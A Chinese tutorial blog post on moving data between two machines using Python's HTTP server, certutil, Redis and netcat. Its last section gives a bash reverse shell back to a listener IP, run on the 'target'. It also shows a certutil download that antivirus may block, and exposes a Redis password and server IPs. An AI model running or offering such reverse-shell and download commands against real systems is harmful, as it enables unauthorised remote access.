两台机器间数据通信的几种方法 郝伟 2020/12/03 [TOC]
1. 简介
本文介绍了几种方法,用于两台机器间的数据通信,以满足以下景描述:
现在有三台机器,连接关系如下所示: H <--> T <--> S 现在是H开了隧道T来连接,T开了隧道S来连接。 约定条件: 1)多平台,Linux和Windows下都要可用; 2)端口要随机;
针对此场景,以下方法有如下约定:
- 由于通信均在两台机器间进行,所以只需考虑两台机器通信的情况;
- 在两台通信的机器中,本地机器为 A,目标机器为 B,服务一般安装在A上;
- 通信的目标是如何让本地机器A获得目标机器B上的数据;
- 如果是基于文件,则此数据文件存在在B上的
~/data/a.txt
文件中;
2. 方法1:利用Python内置HTTP服务通过文件获得内容
优点:简单易用,不需要安装任何第三方库。 缺点:功能简单
2.1. Linux上
第1步:在B上,进入目录 ~/data
,然后运行以下命令,以开启HTTP服务:
python3 -m http.server 8288 1>> logs.txt 2>>errors.txt &
第2步:在A上,通过以下命令获得 a.txt
:
wget http://121.199.10.158:8288/a.txt
返回信息如下:
root@server00:~# wget http://121.199.10.158:8288/a.txt
--2020-12-07 10:46:16-- http://121.199.10.158:8288/a.txt
Connecting to 121.199.10.158:8288... connected.
HTTP request sent, awaiting response... 200 OK
Length: 27 [text/plain]
Saving to: ‘a.txt’
a.txt 100%[=================================================>] 27 --.-KB/s in 0s
2020-12-07 10:46:16 (8.79 MB/s) - ‘a.txt’ saved [27/27]
2.2. Windows上
第1步:在B上,进入目录 ~/data
,然后运行以下命令,以开启HTTP服务:
python -m http.server 8288 1>> logs.txt 2>>errors.txt &
第2步:使用certutil下载
C:\Users\Administrator>certutil -urlcache -split -f http://121.199.10.158:8288/a.txt
**** Online ****
0000 ...
001b
CertUtil: -URLCache command completed successfully.
C:\Users\Administrator>dir a.txt
Volume in drive C is Win10
Volume Serial Number is 0000-B0B4
Directory of C:\Users\Administrator
2020/12/07 10:51 27 a.txt
1 File(s) 27 bytes
0 Dir(s) 824,709,177,344 bytes free
C:\Users\Administrator>type a.txt
2020/12/07 This is a test.
注1:如果不想显示过多信息,Windows下同样可以在命令末尾追加 >>log.txt
直接记录至文件中。
注2:Windows平台上下载时,如果装了防病毒软件,执行时可能会因此导致执行失败。
3. 方法2:利用Radis直接获得数据
优点:简单易用,可靠性强 缺点:需要安装Redis
3.1. Linux 上
第1步:在A或B上安装redis,命令如下:
wget http://download.redis.io/releases/redis-6.0.9.tar.gz
tar xzf redis-6.0.9.tar.gz
cd redis-6.0.9
make
src/redis-server
第2步:通过以下命令登陆:
src/redis-cli -h host_ip -p port -a password
即可对同一个redis服务器进行操作,从而实现数据共享。
当一台机器使用 set key value
写入数据,另一台机器即可使用 get key
读取。
以下为两台机器测试结果,其中A装有redis服务。
测试内容为:先在B上设置键值 test
的内容为 12345
。然后让机器A读取。
- 机器B:47.98.163.233
root@root:~/redis-6.0.9# src/redis-cli -h 121.199.10.158 -p 8188 -a root00 Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 121.199.10.158:8188> get test (nil) 121.199.10.158:8188> set test 12345 OK 121.199.10.158:8188>
- 机器A:121.199.10.158 (redis服务安装在此机器)
root@server00:~# /opt/redis-6.0.9/src/redis-cli 127.0.0.1:6379> get test (nil) 127.0.0.1:6379> exit root@server00:~# /opt/redis-6.0.9/src/redis-cli -h 121.199.10.158 -p 8188 -a root00 Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 121.199.10.158:8188> get test "12345" 121.199.10.158:8188> config get requirepass 1) "requirepass" 2) "root00" 121.199.10.158:8188>
注意:如果在机器A上安装了服务,使用本地登陆,数据无法与机器B同步,必需远程登陆才可以。
3.2. Windows上
方法类似(略)。
4. 方法3:利用Node.js
优点:功能强大 缺点:需要安装第三方库,同时需要编程。 简介:A安装Node.js,然后编写代码,对B传送给A的数据进行处理。
5. 方法4:利用基于JSP通过Post方法传递数据
简介:A安装了Tomcat服务,可以运行JSP,B调用A的接口,通过Post传送数据。 优点:功能强大、易于使用、可靠性好 缺点:需要安装第三方库,同时需要编程。
6. 方法5:利用nc传文件
先在 A 上打开监听:
nc -lvp 8102 > a.txt
然在 B 上传递文件
nc 121.199.10.158 8102 < ~/data/a.txt
执行完成后,B上的文件就会传递到A上。
另,如果只是传递消息可以使用A创建B的反弹Shell:
# 本机
nc -lvp 8102
# 目标
bash -i >& /dev/tcp/121.199.10.158/8102 0>&1